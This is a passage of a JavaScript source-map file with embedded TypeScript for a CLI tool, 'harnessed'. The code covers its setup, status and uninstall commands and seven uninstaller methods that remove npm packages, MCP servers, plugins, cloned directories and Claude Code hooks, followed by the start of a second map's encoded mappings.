(e) {\n console.error(` error: failed to copy ${wf.name}: ${(e as Error).message}`)\n process.exit(1)\n }\n }\n\n console.log(\n `\\nStep A complete: ${skillsInstalled} workflow skill(s) installed to ${skillsBase}`,\n )\n\n // ── Step B: install-base auto-glob chain (parallel) ─────────────────────\n const manifestPaths = await listBaseManifests(pkgRoot)\n const b = await runStepBInstall(manifestPaths)\n const stepBMs = (b.elapsedMs / 1000).toFixed(1)\n console.log(\n `Step B complete: ${b.installed.length} manifest(s) installed / ${b.alreadyInstalled.length} already-installed / ${b.skipped.length} skipped / ${b.failed.length} failed [parallel ${stepBMs}s]`,\n )\n for (const n of b.installed) console.log(` [B] installed ${n}`)\n for (const n of b.alreadyInstalled)\n console.log(\n ` [B] already-installed ${n} — run \\`/mcp\\` in Claude Code to verify connection`,\n )\n for (const n of b.skipped) console.log(` [B] skipped ${n}`)\n for (const n of b.failed) console.error(` [B] failed ${n}`)\n\n console.log(\n `\\nsetup complete: ${skillsInstalled} workflow skill(s) + ${b.installed.length + b.alreadyInstalled.length} base manifest(s) configured`,\n )\n if (b.alreadyInstalled.length > 0 || b.installed.length > 0) {\n console.log(\n `\\nMCP servers configured. Run \\`/mcp\\` in Claude Code to verify each server's connection status. If a server shows disconnected, restart Claude Code or check the MCP command spec.`,\n )\n }\n\n // ── Phase v2.0-2.3 W1.1: Pure bundled distribution highlight (D-01) ───\n // workflows live in <packageRoot>/workflows/ — share-only readonly,\n // NOT user-dir override (~/.harnessed/ NOT used per D-01 LOCKED).\n console.log(\n '\\n✓ harnessed v3.0 三层栈方法论 bundled — 23 workflows (4 master + 18 sub + 1 standalone) + 6 disciplines + 10 judgments + ~83 capabilities ready',\n )\n console.log(\n ' workflows in <packageRoot>/workflows/ (Pure bundled, NOT user-dir override per D-01)',\n )\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads <harnessed-root>/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads <harnessed-root>/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n// v3.0.3 — paths routed through harnessedRoot SoT (homedir-rooted).\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from <harnessed-root>/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log(`no installs recorded (${harnessedFile('state.json')} absent or empty)`)\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(`\\n${names.length} install${names.length === 1 ? '' : 's'} recorded`)\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n const lockPath = harnessedFile('.lock')\n try {\n const isLocked = await lockfile.check(getHarnessedRoot(), {\n lockfilePath: lockPath,\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat(lockPath)\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(`\\nlock: held (since ${s.mtime.toISOString()})${stale ? ' — STALE' : ''}`)\n console.log(` to release: wait for process to finish or delete ${lockPath}`)\n } else {\n console.log('\\nlock: free')\n }\n } catch {\n // harnessed root absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed uninstall <name>` executes immediately by default (sister install.ts\n// pattern verbatim). Interactive p.confirm() 仍 protect destructive op (user\n// 必须显式 y/yes 才真正删除)。`--dry-run` flag opt-in 高级用户预览, `--apply`\n// 保留 backward-compat no-op alias (旧脚本仍 work)。`--yes` skip interactive\n// confirm 仍 require user 显式 opt-in (CI / scripts)。\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (immediate by default — use --dry-run for preview)')\n .option('--apply', '(deprecated; kept for backward compat — uninstall is immediate by default)')\n .option('--dry-run', 'preview only — do not delete files (opt-in for advanced users)')\n .option('--yes', 'skip interactive confirm (CI / scripts) — fatal with --dry-run')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // v3.0.1 UX flip — apply-immediate default。dryRun=true → preview only。\n // dryRun=false → immediate execute (无论 --apply 是否传入)。`--yes` 仍可\n // skip interactive confirm prompt (用户显式 opt-in CI / scripts)。\n // H1 gate: --yes + --dry-run 互斥 (dry-run 不 mutate, --yes 无意义)。\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && raw.dryRun) {\n console.error(\n `error: --yes is incompatible with --dry-run (dry-run does not mutate)\\n` +\n ` fix: harnessed uninstall ${name} --yes (immediate) ` +\n `OR harnessed uninstall ${name} --dry-run (preview)`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n // v3.0.1 UX flip — dry-run is opt-in only (raw.dryRun === true)。\n // apply-immediate by default;legacy --apply is no-op alias。\n const dryRun = raw.dryRun === true\n\n // Dry-run preview path (opt-in --dry-run only).\n if (dryRun) {\n console.log(`[dry-run] would uninstall '${resolvedName}' via method '${method}'`)\n console.log(` run without --dry-run to execute`)\n process.exit(2)\n }\n\n // Interactive confirm protects destructive op (skip only with --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: `Uninstall '${resolvedName}'? This cannot be undone.`,\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(`aborted: user cancelled`)\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n console.log(`uninstalled ${resolvedName}`)\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\nimport { migrateLegacyHarnessedRoot } from './installers/lib/harnessedRoot.js'\n\n// v3.0.3 — migrate any pre-v3.0.3 `~/.harnessed/` to `~/.claude/harnessed/`\n// before any subcommand runs. Idempotent on subsequent invocations.\nmigrateLegacyHarnessedRoot()\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\n\nprogram.parse(process.argv)\n"]}
|
|
1
|
+
{"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/installers/lib/harnessedRoot.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/cli/lib/checkAgentTeams.ts","../src/cli/lib/check-agent-teams-doctor.ts","../src/cli/lib/check-planning-with-files.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/cli/audit-log.ts","../src/installers/lib/backup.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/workflow/schema/discipline.ts","../src/workflow/disciplineLoader.ts","../src/discipline/enforcement/before-commit.ts","../src/routing/completionSchema.ts","../src/routing/systemPrompt.ts","../src/routing/agentDefinition.ts","../src/routing/dag.ts","../src/routing/decisionRules.ts","../src/audit/log.ts","../src/audit/hook.ts","../src/checkpoint/engineHook.ts","../src/routing/lib/fallbackHandlers.ts","../src/routing/lib/promiseExtract.ts","../src/routing/lib/ralphLoop.ts","../src/routing/lib/sdkReconcile.ts","../src/routing/lib/sdkSpawn.ts","../src/routing/lib/skillInstall.ts","../src/routing/semanticRouter.ts","../src/routing/engine.ts","../src/workflow/schema/phases.ts","../src/workflow/schema/workflow.ts","../src/workflow/schema/workflow.v2.ts","../src/workflow/loadPhases.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/readClaudeConfig.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/lib/safeCwd.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/lib/packagePath.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/lib/setup-helpers.ts","../src/cli/lib/scan-nested.ts","../src/cli/setup.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["join","spawnSync","Type","existsSync","readFileSync","Value","mkdirSync","dirname","homedir","resolve","readFile","readdir","mkdir","writeFile","_cache","parse","err","GIT_REF_PATTERN","p","program","backup","checkOrigin","probeGstackPrefix","checkDeprecations","checkTokenBudget","basename","parseYaml","isInstalled","T","ajv","Ajv","_compiled","getValidator","parseDocument","auditPath","createHash","match","spawn","ModelTier","OnAction","execSync","ans","statePath","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","stat","PHASE_21","listBaseManifests","lockfile","extractCloneTarget","rm","extractSkillName","p3"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,IAAA,oBAAA,GAAA,EAAA;AAAA,QAAA,CAAA,oBAAA,EAAA;AAAA,EAAA,WAAA,EAAA,MAAA;AAAA,CAAA,CAAA;AAmBA,SAAS,aAAa,CAAA,EAAmB;AACvC,EAAA,OAAO,EACJ,IAAA,EAAK,CACL,QAAQ,2DAAA,EAA6D,EAAE,EACvE,OAAA,CAAQ,QAAA,EAAU,EAAE,CAAA,CACpB,OAAA,CAAQ,KAAK,GAAG,CAAA,CAChB,QAAQ,KAAA,EAAO,EAAE,EACjB,WAAA,EAAY;AACjB;AAMO,SAAS,YACd,GAAA,GAAc,OAAA,CAAQ,KAAI,EAC1B,IAAA,GAA2B,EAAC,EACT;AACnB,EAAA,MAAM,SAAA,GAAY,KAAK,SAAA,IAAa,IAAA;AAEpC,EAAA,IAAI,QAAA,GAA0B,IAAA;AAC9B,EAAA,IAAI;AACF,IAAA,MAAM,GAAA,GAAM,KAAK,KAAA,CAAM,YAAA,CAAa,KAAK,GAAA,EAAK,cAAc,CAAA,EAAG,MAAM,CAAC,CAAA;AAGtE,IAAA,QAAA,GAAW,OAAO,IAAI,UAAA,KA